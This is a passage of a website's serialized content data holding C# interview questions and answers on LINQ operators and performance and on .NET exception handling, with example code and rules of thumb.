statistics.\n",{"id":2150,"difficulty":96,"q":2151,"a":2152},"tolist-vs-asenumerable","What is the difference between `ToList()`, `ToArray()`, and `AsEnumerable()`?","`ToList()` and `ToArray()` both **materialise** a LINQ query into a concrete\nin-memory collection, forcing immediate execution. `AsEnumerable()` keeps the\nquery deferred but switches the compile-time type from `IQueryable\u003CT>` to\n`IEnumerable\u003CT>`, causing subsequent operators to run in memory.\n\n```csharp\nIQueryable\u003CUser> query = dbContext.Users.Where(u => u.IsActive);\n\n\u002F\u002F ToList() — executes SQL NOW, returns List\u003CUser>\nList\u003CUser> list = query.ToList();\n\n\u002F\u002F ToArray() — executes SQL NOW, returns User[]\nUser[] array = query.ToArray();\n\n\u002F\u002F AsEnumerable() — no execution yet; shifts to LINQ-to-Objects for subsequent ops\nIEnumerable\u003CUser> enumerable = query.AsEnumerable();\n\u002F\u002F The next Where runs in C# memory, not SQL:\nvar localFilter = enumerable.Where(u => MyComplexCSharpMethod(u));\n\u002F\u002F When you iterate 'localFilter', it fetches ALL active users from DB first, then filters\n```\n\nUse `AsEnumerable()` when a LINQ provider (EF Core) cannot translate a particular\noperator or lambda to SQL — it forces the remainder of the pipeline to run in\nmemory on the already-fetched rows.\n\n**Rule of thumb:** `ToList()` or `ToArray()` = execute now + store. `AsEnumerable()`\n= switch to in-memory LINQ without executing yet (the DB query still fires when you\niterate). Choose `ToList()` for most cases; `ToArray()` when you need a fixed-size buffer.\n",{"id":2154,"difficulty":206,"q":2155,"a":2156},"linq-join","How does a LINQ join work, and what is the difference between `Join` and `GroupJoin`?","`Join` produces a flat sequence where each left element is matched with each right\nelement on a key — equivalent to SQL `INNER JOIN`. `GroupJoin` produces a\nhierarchical result — each left element paired with all its matching right elements\n— equivalent to SQL `LEFT OUTER JOIN` (when combined with `DefaultIfEmpty`).\n\n```csharp\nvar customers = new[] {\n    new { Id = 1, Name = \"Alice\" },\n    new { Id = 2, Name = \"Bob\"   },\n};\nvar orders = new[] {\n    new { CustomerId = 1, Item = \"Book\"  },\n    new { CustomerId = 1, Item = \"Pen\"   },\n    new { CustomerId = 2, Item = \"Desk\"  },\n};\n\n\u002F\u002F Join — flat INNER JOIN:\nvar inner = customers.Join(orders,\n    c => c.Id,          \u002F\u002F outer key\n    o => o.CustomerId,  \u002F\u002F inner key\n    (c, o) => $\"{c.Name}: {o.Item}\");\n\u002F\u002F Alice: Book, Alice: Pen, Bob: Desk\n\n\u002F\u002F GroupJoin — hierarchical LEFT JOIN:\nvar grouped = customers.GroupJoin(orders,\n    c => c.Id,\n    o => o.CustomerId,\n    (c, orderGroup) => new { c.Name, Orders = orderGroup.ToList() });\n\u002F\u002F { Name=\"Alice\", Orders=[Book,Pen] }, { Name=\"Bob\", Orders=[Desk] }\n```\n\nIn EF Core on `IQueryable`, `Join` translates to SQL `INNER JOIN` and `GroupJoin`\ntranslates to `LEFT JOIN` (when `.SelectMany(..., DefaultIfEmpty())` is applied).\n\n**Rule of thumb:** Use `Join` for inner joins (only matching records). Use\n`GroupJoin` when you need a parent with a collection of children, or when you\nwant to preserve left-side records even if there are no matches.\n",{"id":2158,"difficulty":96,"q":2159,"a":2160},"zip","What is `Zip()` in LINQ and when would you use it?","`Zip` merges two (or three, since .NET 6) sequences element-by-element, producing\none output element per pair. It stops when the shorter sequence is exhausted.\n\n```csharp\nvar names  = new[] { \"Alice\", \"Bob\", \"Charlie\" };\nvar scores = new[] { 92, 85, 78 };\n\n\u002F\u002F Two-sequence Zip with result selector:\nvar results = names.Zip(scores, (name, score) => $\"{name}: {score}\");\n\u002F\u002F [\"Alice: 92\", \"Bob: 85\", \"Charlie: 78\"]\n\n\u002F\u002F C# 6+: Zip returning tuples (no selector needed):\nvar pairs = names.Zip(scores); \u002F\u002F IEnumerable\u003C(string, int)>\nforeach (var (name, score) in pairs)\n    Console.WriteLine($\"{name} scored {score}\");\n\n\u002F\u002F .NET 6+ — three-way Zip:\nvar grades = new[] { 'A', 'B', 'C' };\nvar triples = names.Zip(scores, grades); \u002F\u002F IEnumerable\u003C(string, int, char)>\n\n\u002F\u002F Stops at the shorter sequence:\nnew[] { 1, 2, 3 }.Zip(new[] { 'a', 'b' }); \u002F\u002F only two pairs: (1,'a'), (2,'b')\n```\n\nCommon use cases: combining a list of keys with a list of values, pairing\nchronological data from two sources, or producing numbered output by zipping with\n`Enumerable.Range`.\n\n**Rule of thumb:** Use `Zip` when two sequences are positionally aligned and you\nwant to process them in lock-step. If the sequences can have different orderings,\na `Join` on a key is safer.\n",{"id":2162,"difficulty":104,"q":2163,"a":2164},"distinct-and-distinctby","How do `Distinct()` and `DistinctBy()` work in LINQ?","`Distinct()` removes duplicate elements using equality comparison on the element\nitself. `DistinctBy()` (.NET 6+) removes duplicates based on a **key selector** —\nkeeping the first element with each distinct key value.\n\n```csharp\nvar nums = new[] { 1, 2, 2, 3, 3, 3 };\nvar unique = nums.Distinct(); \u002F\u002F { 1, 2, 3 }\n\n\u002F\u002F Custom equality for objects — requires IEqualityComparer\u003CT>:\nvar people = new[]\n{\n    new { Name = \"Alice\", Dept = \"Eng\" },\n    new { Name = \"Bob\",   Dept = \"HR\"  },\n    new { Name = \"Alice\", Dept = \"HR\"  }, \u002F\u002F same Name, different Dept\n};\n\n\u002F\u002F Distinct() on anonymous types uses value equality (all fields):\n\u002F\u002F Result: all three — Name+Dept combination is different for each\n\n\u002F\u002F DistinctBy() — deduplicate by a single key, keeping first occurrence:\nvar byName = people.DistinctBy(p => p.Name);\n\u002F\u002F { Alice\u002FEng, Bob\u002FHR } — second Alice dropped\nforeach (var p in byName)\n    Console.WriteLine($\"{p.Name} \u002F {p.Dept}\");\n\n\u002F\u002F Useful for deduplicating DB results by a business key:\nvar latestOrders = orders.DistinctBy(o => o.CustomerId);\n```\n\n`Distinct()` uses the default equality comparer (`EqualityComparer\u003CT>.Default`).\nFor custom comparison pass an `IEqualityComparer\u003CT>` as the second argument.\n`DistinctBy` is the LINQ equivalent of SQL `DISTINCT ON` (PostgreSQL) or a\n`GROUP BY key HAVING ROW_NUMBER() = 1` pattern.\n\n**Rule of thumb:** Use `Distinct()` to deduplicate primitives and value-equal types.\nUse `DistinctBy(x => x.Key)` to pick one representative element per key from a\ncollection of objects.\n",{"id":2166,"difficulty":104,"q":2167,"a":2168},"orderby-vs-thenby","What is the difference between `OrderBy` and `ThenBy` in LINQ?","`OrderBy` \u002F `OrderByDescending` establishes the **primary sort key**. `ThenBy` \u002F\n`ThenByDescending` adds a **secondary (tie-breaking) sort** applied only when the\nprimary key values are equal.\n\n```csharp\nvar employees = new[]\n{\n    new { Name = \"Charlie\", Dept = \"Eng\",  Salary = 80_000 },\n    new { Name = \"Alice\",   Dept = \"HR\",   Salary = 60_000 },\n    new { Name = \"Bob\",     Dept = \"Eng\",  Salary = 90_000 },\n    new { Name = \"Diana\",   Dept = \"HR\",   Salary = 70_000 },\n};\n\n\u002F\u002F Sort by Dept, then by Name within each dept:\nvar sorted = employees\n    .OrderBy(e => e.Dept)\n    .ThenBy(e => e.Name);\n\u002F\u002F Eng\u002FBob, Eng\u002FCharlie, HR\u002FAlice, HR\u002FDiana\n\n\u002F\u002F Multi-level descending:\nvar byDeptThenSalaryDesc = employees\n    .OrderBy(e => e.Dept)\n    .ThenByDescending(e => e.Salary);\n\u002F\u002F Eng\u002FBob(90k), Eng\u002FCharlie(80k), HR\u002FDiana(70k), HR\u002FAlice(60k)\n\n\u002F\u002F Note: chaining OrderBy twice is WRONG — second OrderBy replaces the first:\n\u002F\u002F Bad: employees.OrderBy(e => e.Dept).OrderBy(e => e.Name) — only sorts by Name\n\u002F\u002F Good: .OrderBy(e => e.Dept).ThenBy(e => e.Name)\n```\n\nLINQ's `OrderBy` uses a **stable sort** — elements with equal keys preserve their\noriginal relative order. This makes `ThenBy` reliable and predictable.\n\n**Rule of thumb:** Always use `ThenBy` \u002F `ThenByDescending` for secondary sort\ncriteria, never chain a second `OrderBy`. A chained `OrderBy` silently discards the\nprevious ordering.\n",{"id":2170,"difficulty":206,"q":2171,"a":2172},"linq-performance-pitfalls","What are the most common LINQ performance pitfalls and how do you avoid them?","LINQ's composability can hide significant performance costs. The most common pitfalls\nare multiple enumeration, N+1 queries in EF Core, and misuse of `Count()` vs `Any()`.\n\n```csharp\n\u002F\u002F Pitfall 1 — multiple enumeration: iterates the source twice\nIEnumerable\u003Cint> query = GetExpensiveSequence();\nif (query.Any())          \u002F\u002F first enumeration\n    Process(query.First()); \u002F\u002F second enumeration\n\u002F\u002F Fix: materialise once\nvar list = query.ToList();\nif (list.Count > 0) Process(list[0]);\n\n\u002F\u002F Pitfall 2 — N+1 query: one DB hit per order\nforeach (var order in dbContext.Orders.ToList())       \u002F\u002F 1 query\n    Console.WriteLine(order.Customer.Name);            \u002F\u002F N queries (lazy load)\n\u002F\u002F Fix: eager load with Include\nforeach (var order in dbContext.Orders.Include(o => o.Customer).ToList())\n    Console.WriteLine(order.Customer.Name); \u002F\u002F 1 query with JOIN\n\n\u002F\u002F Pitfall 3 — Count() on IEnumerable iterates the whole sequence\nif (GetItems().Count() > 0) { }   \u002F\u002F O(n)\n\u002F\u002F Fix:\nif (GetItems().Any()) { }         \u002F\u002F O(1) stops at first element\n\n\u002F\u002F Pitfall 4 — Where before Select on large datasets (in memory):\nvar result = items.Select(Transform).Where(x => x.IsValid);\n\u002F\u002F Bad: Transform() called on ALL items\n\u002F\u002F Good: filter first, then project\nvar result2 = items.Where(x => x.IsEligible).Select(Transform);\n```\n\n**Rule of thumb:** Materialise with `ToList()` when you iterate more than once.\nUse `Include()` in EF Core to avoid N+1. Use `Any()` for existence checks. Filter\nwith `Where()` before projecting with `Select()` to minimise work.\n",{"description":94},"LINQ interview questions — deferred execution, IQueryable vs IEnumerable, Select vs SelectMany, GroupBy, and common performance pitfalls.","dotnet\u002Ffundamentals\u002Flinq","LINQ","gJ7OJobzzvZenzfBBIxrrXSSgDwGsGOTF1yIDGLGhhQ",{"id":2179,"title":2180,"body":2181,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":2185,"navigation":99,"order":56,"path":2186,"questions":2187,"questionsCount":163,"related":164,"seo":2248,"seoDescription":2249,"stem":2250,"subtopic":2251,"topic":28,"topicSlug":30,"updated":168,"__hash__":2252},"qa\u002Fdotnet\u002Fcsharp-core\u002Fexceptions.md","Exceptions",{"type":91,"value":2182,"toc":2183},[],{"title":94,"searchDepth":29,"depth":29,"links":2184},[],{},"\u002Fdotnet\u002Fcsharp-core\u002Fexceptions",[2188,2192,2196,2200,2204,2208,2212,2216,2220,2224,2228,2232,2236,2240,2244],{"id":2189,"difficulty":104,"q":2190,"a":2191},"exception-hierarchy","What is the .NET exception hierarchy and how does it relate to what you should catch?","All exceptions in .NET inherit from `System.Exception`. The hierarchy has two main\nbranches: **SystemException** (runtime conditions, usually unrecoverable) and\n**ApplicationException** (deprecated base for user-defined exceptions — not used in\nmodern code).\n\n```csharp\n\u002F\u002F Simplified hierarchy:\n\u002F\u002F Exception\n\u002F\u002F SystemException\n\u002F\u002F NullReferenceException\n\u002F\u002F InvalidOperationException\n\u002F\u002F ArgumentException\n\u002F\u002F ArgumentNullException\n\u002F\u002F ArgumentOutOfRangeException\n\u002F\u002F IndexOutOfRangeException\n\u002F\u002F IOException\n\u002F\u002F FileNotFoundException\n\u002F\u002F ArithmeticException\n\u002F\u002F DivideByZeroException\n\u002F\u002F OutOfMemoryException      ← usually unrecoverable\n\u002F\u002F StackOverflowException    ← process terminates\n\u002F\u002F ApplicationException        ← deprecated, avoid\n\n\u002F\u002F Catch the most specific type you can handle:\ntry\n{\n    File.ReadAllText(\"data.txt\");\n}\ncatch (FileNotFoundException ex)\n{\n    Console.WriteLine($\"File missing: {ex.FileName}\");\n}\ncatch (IOException ex)\n{\n    Console.WriteLine($\"I\u002FO error: {ex.Message}\");\n}\ncatch (Exception ex)\n{\n    \u002F\u002F Last resort — log and rethrow, or rethrow as-is\n    logger.LogError(ex, \"Unexpected error\");\n    throw;\n}\n```\n\n**Rule of thumb:** Catch the *most specific* exception type you can meaningfully\nhandle. Avoid catching `Exception` unless you log and rethrow. Never catch\n`OutOfMemoryException` or `StackOverflowException` — the process state is corrupt.\n",{"id":2193,"difficulty":96,"q":2194,"a":2195},"throw-vs-throw-ex","What is the difference between `throw` and `throw ex` and why does it matter?","`throw` (bare) **re-throws the current exception**, preserving the original stack\ntrace. `throw ex` **throws the caught exception as if it were new**, replacing the\nstack trace with the current location — destroying information that is critical for\ndebugging.\n\n```csharp\nvoid Outer()\n{\n    try { Inner(); }\n    catch (Exception ex) { throw ex; } \u002F\u002F BAD — loses Inner's stack trace\n}\n\nvoid Inner()\n{\n    throw new InvalidOperationException(\"failed here\");\n}\n\n\u002F\u002F With 'throw ex': stack trace points to Outer (the catch block)\n\u002F\u002F With 'throw':    stack trace points to Inner (where it actually failed)\n\n\u002F\u002F Correct: preserve the original stack trace\nvoid OuterCorrect()\n{\n    try { Inner(); }\n    catch (Exception ex)\n    {\n        logger.LogError(ex, \"Error in Inner\");\n        throw; \u002F\u002F re-throw — stack trace unchanged\n    }\n}\n\n\u002F\u002F Wrapping exceptions — preserve original as InnerException:\nvoid OuterWrapped()\n{\n    try { Inner(); }\n    catch (InvalidOperationException ex)\n    {\n        throw new ApplicationException(\"High-level failure\", ex); \u002F\u002F ex = InnerException\n    }\n}\n\u002F\u002F Both the original and wrapping exceptions are in the chain\n```\n\n**Rule of thumb:** Always use bare `throw` to re-throw. If you need to wrap an\nexception in a higher-level one, pass the original as `innerException`. Examine the\nstack trace whenever you see `throw ex` in code review — it is almost always a bug.\n",{"id":2197,"difficulty":104,"q":2198,"a":2199},"finally-block","What does `finally` guarantee and when is it NOT executed?","The `finally` block always runs after `try`\u002F`catch`, **whether or not** an exception\nwas thrown, and **whether or not** the exception was handled. It is used for cleanup\n(closing files, releasing locks, etc.).\n\n```csharp\nFileStream? fs = null;\ntry\n{\n    fs = File.OpenRead(\"data.txt\");\n    Process(fs);\n}\ncatch (IOException ex)\n{\n    Console.WriteLine(ex.Message);\n}\nfinally\n{\n    fs?.Close(); \u002F\u002F always runs — even if Process throws, even if catch throws\n    Console.WriteLine(\"Cleaned up\");\n}\n\n\u002F\u002F finally does NOT run in these cases:\n\u002F\u002F 1. StackOverflowException — the CLR tears down the process\n\u002F\u002F 2. Environment.FailFast() — immediate process termination\n\u002F\u002F 3. Infinite loop or deadlock before reaching finally\n\n\u002F\u002F Modern preference: 'using' statement replaces try\u002Ffinally for IDisposable:\nusing var stream = File.OpenRead(\"data.txt\"); \u002F\u002F Dispose called automatically\nProcess(stream);\n\u002F\u002F No explicit finally needed — cleaner and exception-safe\n```\n\n**Rule of thumb:** Use `using` \u002F `using var` for `IDisposable` objects instead of\nmanual `try\u002Ffinally` — it generates the same IL but is far more readable. Reserve\nexplicit `finally` for cleanup that isn't covered by `IDisposable`.\n",{"id":2201,"difficulty":96,"q":2202,"a":2203},"custom-exceptions","How do you create a well-designed custom exception class?","A custom exception should inherit from `Exception` (not `ApplicationException`),\nprovide the standard constructors, and include domain-specific context.\n\n```csharp\n\u002F\u002F Well-designed custom exception:\npublic class OrderValidationException : Exception\n{\n    public int OrderId { get; }\n    public string Field { get; }\n\n    \u002F\u002F Standard constructors — needed for serialisation and chaining:\n    public OrderValidationException() { }\n\n    public OrderValidationException(string message)\n        : base(message) { }\n\n    public OrderValidationException(string message, Exception innerException)\n        : base(message, innerException) { }\n\n    \u002F\u002F Domain-specific constructor:\n    public OrderValidationException(int orderId, string field, string message)\n        : base(message)\n    {\n        OrderId = orderId;\n        Field   = field;\n    }\n}\n\n\u002F\u002F Usage:\nvoid ValidateOrder(Order order)\n{\n    if (order.Total \u003C 0)\n        throw new OrderValidationException(order.Id, nameof(order.Total),\n            $\"Order {order.Id}: Total cannot be negative.\");\n}\n\ntry\n{\n    ValidateOrder(bad);\n}\ncatch (OrderValidationException ex)\n{\n    logger.LogWarning(\"Validation failed for order {OrderId}, field {Field}: {Message}\",\n        ex.OrderId, ex.Field, ex.Message);\n}\n```\n\n**Rule of thumb:** Create custom exceptions when callers need to distinguish your\nerror from others programmatically (i.e., they would catch it specifically). Add\nproperties for context that logs and handlers need. Do not add custom exceptions just\nfor error messages — `InvalidOperationException` with a good message is often enough.\n",{"id":2205,"difficulty":96,"q":2206,"a":2207},"aggregate-exception","What is `AggregateException` and when does it appear?","`AggregateException` wraps one or more inner exceptions. The TPL (Task Parallel\nLibrary) and `Task.WhenAll` use it to collect multiple failures that happened\nsimultaneously.\n\n```csharp\nvar t1 = Task.Run(() => throw new InvalidOperationException(\"err1\"));\nvar t2 = Task.Run(() => throw new ArgumentException(\"err2\"));\n\ntry\n{\n    await Task.WhenAll(t1, t2);\n}\ncatch (Exception ex)\n{\n    \u002F\u002F await re-throws only the FIRST inner exception:\n    Console.WriteLine(ex.GetType().Name);  \u002F\u002F InvalidOperationException\n}\n\n\u002F\u002F To inspect ALL exceptions:\nvar tasks = new[] { t1, t2 };\ntry { await Task.WhenAll(tasks); }\ncatch { }\nforeach (var t in tasks.Where(t => t.IsFaulted))\n{\n    AggregateException? agg = t.Exception;\n    foreach (var inner in agg!.InnerExceptions)\n        Console.WriteLine(inner.Message); \u002F\u002F err1, then err2\n}\n\n\u002F\u002F Parallel.ForEach also throws AggregateException:\ntry\n{\n    Parallel.ForEach(items, item => ProcessItem(item));\n}\ncatch (AggregateException agg)\n{\n    \u002F\u002F Handle or rethrow individual exceptions:\n    agg.Handle(ex =>\n    {\n        if (ex is TimeoutException) { logger.LogWarning(ex, \"Timeout\"); return true; }\n        return false; \u002F\u002F unhandled — re-thrown\n    });\n}\n```\n\n**Rule of thumb:** When awaiting a `Task.WhenAll`, inspect the individual Task\n`.Exception` properties if you need to see every failure. The single caught exception\nfrom `await` only surfaces the first one.\n",{"id":2209,"difficulty":96,"q":2210,"a":2211},"exception-filters","What is a `catch` block `when` filter and how does it help?","A `when` clause on a `catch` block adds a boolean condition. If it evaluates to\n`false`, the catch is **skipped** (as if it didn't exist) and the stack is not\nunwound — other handlers further up the call stack can catch it instead.\n\n```csharp\n\u002F\u002F Catch only specific HTTP status codes:\ntry\n{\n    var response = await client.GetAsync(url);\n    response.EnsureSuccessStatusCode();\n}\ncatch (HttpRequestException ex) when (ex.StatusCode == HttpStatusCode.NotFound)\n{\n    return null; \u002F\u002F 404 — treat as \"not found\", not an error\n}\ncatch (HttpRequestException ex) when (ex.StatusCode == HttpStatusCode.Unauthorized)\n{\n    throw new UnauthorizedException(\"Token expired\", ex);\n}\n\u002F\u002F Other HttpRequestExceptions propagate normally\n\n\u002F\u002F Logging without catching — the filter runs BEFORE the stack unwinds:\ncatch (Exception ex) when (Log(ex)) { } \u002F\u002F Log() always returns false — just a side effect\n\nbool Log(Exception ex)\n{\n    logger.LogError(ex, \"Unhandled exception\");\n    return false; \u002F\u002F returning false means the filter doesn't match; exception propagates\n}\n\n\u002F\u002F Distinguish transient vs permanent errors:\ncatch (SqlException ex) when (IsTransient(ex))\n{\n    await RetryAsync();\n}\n```\n\n**Rule of thumb:** Use `when` filters to narrow catch scope without losing the\noriginal exception or unwinding the stack prematurely. Use the false-returning filter\ntrick for \"log and rethrow\" without changing stack trace.\n",{"id":2213,"difficulty":206,"q":2214,"a":2215},"exception-dispatch-info","What is `ExceptionDispatchInfo` and when do you use it?","`ExceptionDispatchInfo` captures an exception — including its stack trace — and\nallows you to re-throw it later, **preserving the original stack trace**, even from\na different thread or context. It is what `await` uses internally to propagate\nexceptions from Tasks.\n\n```csharp\nExceptionDispatchInfo? captured = null;\n\nThread t = new Thread(() =>\n{\n    try { throw new InvalidOperationException(\"from thread\"); }\n    catch (Exception ex)\n    {\n        \u002F\u002F Capture preserves the original stack trace:\n        captured = ExceptionDispatchInfo.Capture(ex);\n    }\n});\nt.Start();\nt.Join();\n\n\u002F\u002F Re-throw on the calling thread — original stack trace is preserved!\ncaptured?.Throw();\n\u002F\u002F Stack trace shows the original thread's call stack, not this point\n\n\u002F\u002F Real use case: manual async exception propagation\nExceptionDispatchInfo? error = null;\nvar task = Task.Run(() =>\n{\n    try { RiskyWork(); }\n    catch (Exception ex) { error = ExceptionDispatchInfo.Capture(ex); }\n});\nawait task;\nerror?.Throw(); \u002F\u002F same as 'await task' but explicit\n```\n\n`ExceptionDispatchInfo` also exposes `.SourceException` to inspect the captured\nexception without re-throwing.\n\n**Rule of thumb:** You rarely need `ExceptionDispatchInfo` directly — `async\u002Fawait`\nhandles it for you. Use it when marshalling exceptions between threads manually,\nor building custom async\u002Fsync bridges.\n",{"id":2217,"difficulty":96,"q":2218,"a":2219},"global-exception-handler","How do you handle unhandled exceptions globally in an ASP.NET Core application?","ASP.NET Core provides multiple mechanisms for global exception handling, ranging\nfrom simple middleware to fine-grained problem-details responses.\n\n```csharp\n\u002F\u002F 1. UseExceptionHandler middleware (built-in):\napp.UseExceptionHandler(errorApp =>\n{\n    errorApp.Run(async context =>\n    {\n        var feature = context.Features.Get\u003CIExceptionHandlerFeature>();\n        var ex = feature?.Error;\n        context.Response.StatusCode = 500;\n        context.Response.ContentType = \"application\u002Fjson\";\n        await context.Response.WriteAsJsonAsync(new { error = ex?.Message });\n    });\n});\n\n\u002F\u002F 2. IExceptionHandler interface (.NET 8+) — preferred:\npublic class GlobalExceptionHandler : IExceptionHandler\n{\n    private readonly ILogger\u003CGlobalExceptionHandler> _logger;\n    public GlobalExceptionHandler(ILogger\u003CGlobalExceptionHandler> logger)\n        => _logger = logger;\n\n    public async ValueTask\u003Cbool> TryHandleAsync(\n        HttpContext context, Exception exception, CancellationToken ct)\n    {\n        _logger.LogError(exception, \"Unhandled exception\");\n\n        var statusCode = exception switch\n        {\n            NotFoundException => StatusCodes.Status404NotFound,\n            UnauthorizedException => StatusCodes.Status401Unauthorized,\n            _ => StatusCodes.Status500InternalServerError\n        };\n\n        context.Response.StatusCode = statusCode;\n        await context.Response.WriteAsJsonAsync(\n            new ProblemDetails { Title = exception.Message, Status = statusCode }, ct);\n\n        return true; \u002F\u002F exception handled\n    }\n}\n\n\u002F\u002F Register:\nbuilder.Services.AddExceptionHandler\u003CGlobalExceptionHandler>();\nbuilder.Services.AddProblemDetails();\napp.UseExceptionHandler();\n```\n\n**Rule of thumb:** Use `.NET 8` `IExceptionHandler` for structured, testable global\nerror handling. Map domain exceptions (NotFoundException, ValidationException) to\nappropriate HTTP status codes here rather than scattering status code decisions\nacross controllers.\n",{"id":2221,"difficulty":96,"q":2222,"a":2223},"exception-rethrow-patterns","What are the common patterns for rethrowing exceptions and when should each be used?","There are four ways to rethrow or propagate an exception, each with different semantics.\n\n```csharp\ntry { DoWork(); }\n\n\u002F\u002F 1. bare throw — preserve original exception and stack trace (almost always correct)\ncatch (Exception ex) { logger.LogError(ex, \"...\"); throw; }\n\n\u002F\u002F 2. throw new — wrap the original as InnerException; adds context, changes type\ncatch (SqlException ex)\n    throw new RepositoryException(\"DB operation failed\", ex);  \u002F\u002F inner preserved\n\n\u002F\u002F 3. throw ex — AVOID: re-throws same exception but clears stack trace\ncatch (Exception ex) { throw ex; } \u002F\u002F stack trace is gone\n\n\u002F\u002F 4. ExceptionDispatchInfo.Capture — capture + rethrow across thread\u002Fcontext boundary\nExceptionDispatchInfo? captured = null;\nawait Task.Run(() =>\n{\n    try { RiskyWork(); }\n    catch (Exception ex) { captured = ExceptionDispatchInfo.Capture(ex); }\n});\ncaptured?.Throw(); \u002F\u002F same exception, original stack trace, different thread\n\n\u002F\u002F Pattern comparison:\n\u002F\u002F bare throw     — same exception, same stack trace, same type\n\u002F\u002F throw new(inner) — new exception type, InnerException = original, new stack trace\n\u002F\u002F ExceptionDispatchInfo — same exception, original stack trace, across threads\n\n\u002F\u002F When to wrap:\nvoid LoadConfig()\n{\n    try { File.ReadAllText(\"config.json\"); }\n    catch (IOException ex)\n        \u002F\u002F translate low-level exception to domain exception:\n        throw new ConfigurationException(\"Cannot load configuration\", ex);\n}\n```\n\n**Rule of thumb:** Default to bare `throw`. Wrap with a new exception type when you\nwant to translate a low-level technical exception into a domain-meaningful one —\nalways pass the original as `innerException`. Only use `ExceptionDispatchInfo` when\ncrossing thread boundaries manually.\n",{"id":2225,"difficulty":96,"q":2226,"a":2227},"checked-unchecked","What are `checked` and `unchecked` contexts for arithmetic overflow?","By default, C# arithmetic is **unchecked** — integer overflow silently wraps around.\nThe `checked` keyword \u002F block makes overflow throw `OverflowException`.\n\n```csharp\nint max = int.MaxValue; \u002F\u002F 2,147,483,647\n\n\u002F\u002F Unchecked (default) — wraps silently:\nint overflow = max + 1; \u002F\u002F -2,147,483,648 — no exception!\n\n\u002F\u002F Checked — throws OverflowException:\ntry\n{\n    int safe = checked(max + 1);\n}\ncatch (OverflowException)\n{\n    Console.WriteLine(\"Overflow detected\");\n}\n\n\u002F\u002F Checked block for multiple expressions:\nchecked\n{\n    int a = int.MaxValue;\n    int b = a + 1; \u002F\u002F throws\n}\n\n\u002F\u002F unchecked block — explicitly opt out in a checked project:\nunchecked\n{\n    int wrapped = int.MaxValue + 1; \u002F\u002F -2,147,483,648 — intentional wrap\n}\n\n\u002F\u002F Real use: computing array indices, hash codes, byte conversions:\n\u002F\u002F Hash code computation often intentionally overflows:\nunchecked\n{\n    int hash = 17;\n    hash = hash * 31 + value.GetHashCode(); \u002F\u002F overflow is fine here\n    return hash;\n}\n```\n\nC# projects can be compiled with `\u002Fchecked+` to enable checked arithmetic globally.\nMost .NET projects don't, favouring performance. `decimal` arithmetic is always\nchecked. Floating-point (`float`, `double`) uses IEEE 754 rules — no OverflowException.\n\n**Rule of thumb:** Use `checked` when computing values that feed into array indices,\ncounts, or financial calculations where silent overflow would be a bug. Use `unchecked`\nexplicitly in hash code computations where overflow is intentional.\n",{"id":2229,"difficulty":96,"q":2230,"a":2231},"exception-best-practices","What are the key do's and don'ts of exception handling in production code?","Exception handling mistakes compound in production — swallowed exceptions,\ndestroyed stack traces, and overly broad catches all make incidents harder to resolve.\n\n```csharp\n\u002F\u002F DON'T: swallow exceptions silently\ntry { DoWork(); }\ncatch (Exception) { } \u002F\u002F exception disappears — impossible to debug\n\n\u002F\u002F DO: log and rethrow, or handle specifically\ntry { DoWork(); }\ncatch (Exception ex)\n{\n    logger.LogError(ex, \"DoWork failed\");\n    throw; \u002F\u002F preserve stack trace\n}\n\n\u002F\u002F DON'T: throw ex (destroys stack trace)\ncatch (Exception ex) { throw ex; }\n\n\u002F\u002F DO: bare throw\ncatch (Exception ex) { logger.LogError(ex, \"...\"); throw; }\n\n\u002F\u002F DON'T: use exceptions for control flow in hot paths\ntry { return int.Parse(input); }\ncatch { return 0; } \u002F\u002F exceptions are slow for expected failure\n\n\u002F\u002F DO: use TryParse for expected failure\nint.TryParse(input, out int result); \u002F\u002F returns false, no exception\n\n\u002F\u002F DON'T: catch Exception in library code unless you rethrow\npublic int Calculate(string input)\n{\n    try { return int.Parse(input); }\n    catch (Exception) { return -1; } \u002F\u002F caller doesn't know WHY it failed\n}\n\n\u002F\u002F DO: let exceptions propagate; only catch what you can handle\npublic int Calculate(string input) => int.Parse(input); \u002F\u002F let FormatException surface\n\n\u002F\u002F DO: validate input at boundaries to avoid exceptions in the first place\npublic void SetQuantity(int qty)\n{\n    ArgumentOutOfRangeException.ThrowIfNegativeOrZero(qty);\n    _quantity = qty;\n}\n```\n\n**Rule of thumb:** Exceptions should be *exceptional* — unexpected failures, not\nexpected control flow. Always log before rethrowing. Use `TryXxx` patterns for\nexpected failure cases. Validate inputs at method boundaries to prevent exceptions\nfrom propagating unnecessarily.\n",{"id":2233,"difficulty":104,"q":2234,"a":2235},"throw-expression","What is a throw expression (C# 7) and how does it improve code clarity?","A **throw expression** (C# 7) allows `throw` to appear in expression contexts —\nternary operators, null-coalescing operators, and expression-bodied members — where\npreviously only `throw` *statements* were allowed.\n\n```csharp\n\u002F\u002F Null-coalescing throw (very common pattern):\npublic class OrderService\n{\n    private readonly IOrderRepository _repo;\n\n    \u002F\u002F Old style — required extra if statement:\n    public OrderService(IOrderRepository repo)\n    {\n        if (repo == null) throw new ArgumentNullException(nameof(repo));\n        _repo = repo;\n    }\n\n    \u002F\u002F C# 7 throw expression — single line:\n    public OrderService(IOrderRepository repo)\n        => _repo = repo ?? throw new ArgumentNullException(nameof(repo));\n}\n\n\u002F\u002F In ternary operator:\nstring GetName(Customer? c)\n    => c != null ? c.Name : throw new ArgumentNullException(nameof(c));\n\n\u002F\u002F In expression-bodied property:\nprivate string _name = \"\";\npublic string Name\n{\n    get => _name;\n    set => _name = value?.Trim() ?? throw new ArgumentNullException(nameof(value));\n}\n\n\u002F\u002F ArgumentNullException.ThrowIfNull (.NET 6+) — even cleaner:\npublic OrderService(IOrderRepository repo)\n{\n    ArgumentNullException.ThrowIfNull(repo);\n    _repo = repo;\n}\n```\n\n**Rule of thumb:** Use `?? throw new ArgumentNullException(nameof(param))` for\nnull-guard assignments. In .NET 6+, prefer `ArgumentNullException.ThrowIfNull(param)`\nand `ArgumentException.ThrowIfNullOrEmpty(param)` in method bodies — they are\nmore readable and generate slightly better IL.\n",{"id":2237,"difficulty":206,"q":2238,"a":2239},"exception-performance","Why are exceptions expensive in .NET and how do you avoid them on hot paths?","Throwing an exception is expensive because the CLR must capture the **stack trace**\n(walking the call stack, allocating strings for each frame) and allocate the exception\nobject on the heap. In hot-path code this cost is significant.\n\n```csharp\n\u002F\u002F Expensive — exception used for expected failure (parsing user input):\nint ParseBad(string input)\n{\n    try { return int.Parse(input); }\n    catch (FormatException) { return -1; } \u002F\u002F allocates exception, walks stack\n}\n\n\u002F\u002F Cheap — TryParse avoids exception entirely:\nint ParseGood(string input)\n    => 